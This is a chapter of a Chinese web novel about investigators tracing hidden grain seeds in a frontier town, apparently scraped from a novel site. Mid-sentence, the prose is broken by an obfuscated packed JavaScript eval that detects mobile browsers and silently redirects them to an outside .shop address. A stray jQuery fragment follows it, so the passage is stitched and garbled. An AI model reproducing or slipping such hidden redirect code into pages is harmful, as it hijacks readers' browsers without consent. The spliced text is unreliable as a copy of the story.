文趣网 > 都市小说 > 和江湖骗子的查案日常 > 20. 幕后
    “你拿远些!”叶潇为了看清那东西的样子险些瞪成斗鸡眼。

    景照轻笑。

    应拂雪默默挪远了自己的手,这下叶潇终于看清了。

    “香粳米的种子?”叶潇有些不确定地问,“你问我这个做什么,农师考核吗?”

    “你不知道它的来历?”

    叶潇艰难吞了口唾沫:“我知道啥啊,你也太看得起我了。我也就是有次不认识一个作物查农书的时候偶然看到过一次这玩意,况且这东西不是大多都种在越城吗?和漠北又没什么关系。”

    应拂雪仔细分辨他的神色,但遗憾的是,叶潇似乎是真的不知道自己收来的粮里混着香粳米的种子,他不像是有天衣无缝演技的样子。

    “那你初九那天卖给李溪的那批东西,是从哪儿来的?”应拂雪换了个问法。

    叶潇不可置信地扭头看向应拂雪:“那个小崽子又卖我!”

    要不是看在他娘的面子上,那个成事不足败事有余的臭小子早被他掐死八百回了,还能让他借着自己的光活到这么大。

    “是我逼问他的。”应拂雪把事揽到了自己身上。

    景照摇摇头,拿着簪子威胁人的是她应拂雪,总是心软的也是她应拂雪。

    挺矛盾的,但也不赖。

    闻言,叶潇瘫在摇椅上:“迟早被这臭小子害死。”

    他知道糊弄不过去,但好在这香粳米种子是打哪儿来的,他确实不知道。

    “你求人就要有个求人的态度。”虽然叶潇不知道香粳米种子打哪来,但他动动脑子就能知道应拂雪有想通过这香粳米知道的事。

    她不敢拿他怎么样。

    叶潇此人最是会看人下菜碟:“先把这簪子拿开,你这簪子真的假的?”

    应拂雪不喜他轻慢的态度,但事关线索,她只好忍耐退了一步。

    “你可以猜猜。”应拂雪把簪子收好,还指望着用它找闻人恕呢,金贵得很。

    “把你知道的,详细如实说。”应拂雪道。

    “那很遗憾了。”叶潇露出个狎昵的笑,“这批货是我从万事阁收来的废品,据说是某个大人物用来掩人耳目护送什么宝贝的,宝贝是什么我不知道,我只是想把这批货低价收了再高价卖出去,血赚一大笔罢了。”

    “姑娘所说的香粳米种子,可能是什么时候混在里面的吧,那太便宜了,当时一大批货物拉过来我压根没仔细点。”叶潇道,“所以你现在绑着我威胁我也没有用,姑娘若是现在快马加鞭冲到万事阁去,可能还可以从地上捡到些掉下的。”

    “哦不对,万事阁半月开一次,真是不巧。”

    让你拿簪子威胁我,想查的事查不到吧,线索就在这断了的感觉不好受吧。

    叶潇阴暗地盯着应拂雪。

    至于那位大人物掩人耳目要送什么东西,那和他叶潇这种小喽啰有什么关系,就凭面前这个小女娘,说她会破坏大人的大计,痴人说梦去吧。

    “还看啊。”这是景照自进门起说的第一句话,注意到叶潇转而看向他的视线,景照没像往常那般带着笑,而是没什么表情的。

    黑沉沉的眸子就这般锁着叶潇,犹如被剧毒的毒蛇盯上。

    止不住的心慌让叶潇迅速又挪开了对视的眼,长得凶有什么了不起的。

    “你还知道些什么?”应拂雪问。

    这问题正中叶潇下怀。

    “哈哈。”他从喉咙中溢出两声笑,“永宁的天要变了,你很幸运,可以见证这一切。”

    应拂雪一怔。

    不远处的集市中央,随着涌入的商贩越来越多,买价与卖价的矛盾越来越尖锐与不可调和,从口角之争逐渐上升到肢体冲突,驻守的在附近维持秩序的官兵们焦头烂额,压下这边那边又冒了出来。

    闻人恕坐在阁楼上看着。

    “主子不派兵增援吗?”有下属说。

    闻人恕垂眸:“不破不立。”

    沸水怎能扬汤止沸,要把底下的火源灭了才好,这幕后之人有心拿祀农节做文章,非要闻人恕把视线落在永宁城,一是为了向漠北的君主炫耀自己有四处煽风点火的本事,二是为了在其他主城做些什么见不得光的勾当。

    想必与大殷丢失的那批粮种有关。

    但那又怎样,闻人恕的目的从始至终都是为了维护漠北的安宁,他并不关心那批粮种去了哪里,因此他仍旧留在永宁。

    应拂雪和景照拽着叶潇一路赶回集市,这里果不其然已经闹了起来,当街对骂的买主与摊主正你不让价我也不让价的对骂,李溪被挤兑在中间,窝在竹筐后面不知如何是好。

    “哼,活该。”叶潇落井下石。

    过了好一阵,两人险些要把李溪的摊子一块掀了,调解的官兵才匆匆赶来,这会的忙碌使得浅灰色的衣料被汗水浸湿。

    应拂雪把叶潇丢给景照。

    “看好他。”

    在官兵七手八脚扯开两人的间隙,应拂雪走到了李溪身边。

    这小子捂着耳朵蹲在竹筐后,应拂雪也蹲下身,碰碰他的手臂。

    李溪浑身一颤,慢慢睁开了眼,看到是应拂雪,他十分意外。

    “你怎么回来了?”他小声说。

    “回来拯救我的粮。”应拂雪也压低声音,“需不需要我帮你搬。”

    李溪上下打量了一番应拂雪的小细胳膊,十分不信任道:“还是算了吧。”

    “你小瞧人。”应拂雪说,“好了不闹了,趁现在先把粮搬回去,你也跟着躲着些吧,我出门看了黄历,今天不适合做买卖。”

    李溪深以为然;“我觉得也是。”

    但应拂雪会回来帮他,他是觉着意外的。

    李溪独自流浪这么些年,很少有人会愿意帮他,于是他养成了个混不吝的性子,招摇撞骗也无所谓,钱在自己兜里才是最重要的。

    今日确实不适合做买卖,在这再待下去,摊子迟早被掀了。

    李溪率先扛起个竹篓,然而出乎他意料的事还有第二件,细胳膊细腿的应拂雪扛起了比他手中那个还大的竹筐。

    “我就说你小瞧人吧。”应拂雪大气没喘一下,示意李溪跟上。

    笑话,她跟着母亲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579461|204842||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到处转粮仓的时候李溪还是个不知道在哪个泥地里打滚的小屁孩呢。

    怎么拿竹筐最省劲,应拂雪比李溪明白得多。

    况且她瘦不代表她没力气,要不然早就指挥景照来搬了。

    之所以没喊他,主要是不想老是欠他人情。

    “带路吧。”应拂雪说。

    李溪没再说话,带着应拂雪拐过几个弯,是方游隔壁的哪个破院子。

    应拂雪扬眉:“你兜里银子也不少,就住这么个破地方?”

    “临时落脚的地方罢了。”李溪随意看了眼,“我很少在一个地方久留。”

    “你要不要跟我回去?”

    李溪用一种看傻子的眼神看向应拂雪:“你在说什么傻话,我跟你回去干什么?”

    “我在边城开了家粮肆,需要帮手。”应拂雪说,“能给你提供一个稳定的住处。”

    李溪没接话。

    过了会眼前的少年人才闷闷回答:“我考虑考虑吧。”

    “这么好的事你还要考虑啊?”

    李溪恼羞成怒:“那我不得好好想想,万一你骗我去打黑工怎么办。”

    “说得你现在干的就不是黑工一样。”应拂雪呛他。

    应拂雪觉着自己这些日子真是跟景照学坏了。

    李溪正要回话,破旧的院门又被打开了,发出不堪重负的吱嘎声。

    景照举着个大竹筐毫不费力地走了进来,随手往地上一扔,此时漠北的天气并不算凉快,李溪放下竹筐的时候还擦了擦头上的汗。

    可景照就不一样了,这不短的路他额头上愣是一滴汗都没有,细碎的发丝随风扬起好看的弧度,只能说,人和人之间还是不能比。

    李溪偷偷磨了磨牙,他只是还没长大,等他长大了必然比景照还要玉树临风!

    “你怎么来了?”应拂雪问,“不是让你看着叶潇吗?”

    叶潇那泥鳅一样的动作和四处挑事的贱嘴,就凭方游一个上了年纪的老实人恐怕按不住他。

    “哦。”景照似乎是才想起有这号人,“他被官兵带走了。”

    “带走了?”

    应拂雪没有闻人恕那般能拿到永宁近几年账本的权利,但可以想到的是,永宁城眼下的乱子和叶潇脱不开干系。

    被带走也不算意外。

    “他被抓走了啊。”李溪淡淡道,“早就和他说了,赚点黑钱就算了,不合律法但也不是特别违背律法吧,他非要去给那些什么来路不明的人做事,说是这样就有人庇护了。”

    “这下好了吧,把自己庇护进牢里去了,怎么不算一种吃公家饭。”

    应拂雪原本还在思索对策,被李溪这一顿说给逗笑了。

    “你跟着阿雪,她保证不让你去牢里吃公家饭。”景照说。

    看来她方才对李溪的招揽景照听见了。

    一下子就多了两口子要养,看来应家粮肆势必要做大做强了,否则就凭这上下五张嘴,容易吃穷。

    “都先搬回来再说吧。”应拂雪没急着和李溪要回答,他年纪小,好好考虑一下才是正常的。